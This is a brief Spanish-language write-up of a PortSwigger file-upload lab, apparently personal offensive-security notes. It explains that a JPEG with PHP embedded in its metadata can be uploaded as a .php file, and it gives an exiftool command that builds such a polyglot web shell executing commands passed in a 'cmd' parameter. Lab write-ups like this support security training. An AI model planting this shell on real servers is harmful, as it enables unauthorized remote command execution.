Skip to content

6 - Remote code execution via polyglot web shell upload

#fileupload #rce #portswigger #writeup

https://youtu.be/uGk5_yDbSeQ?t=91

Básicamente podemos subir una imagen con formato .php, para poder ejecutar código php simplemente añadimos un comentario a la imagen (metadata) con código php

bash
exiftool -Comment='<html><body><pre><?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); }?></pre></body></html>' gato.jpeg -o polyglot.php

Notas personales de seguridad ofensiva.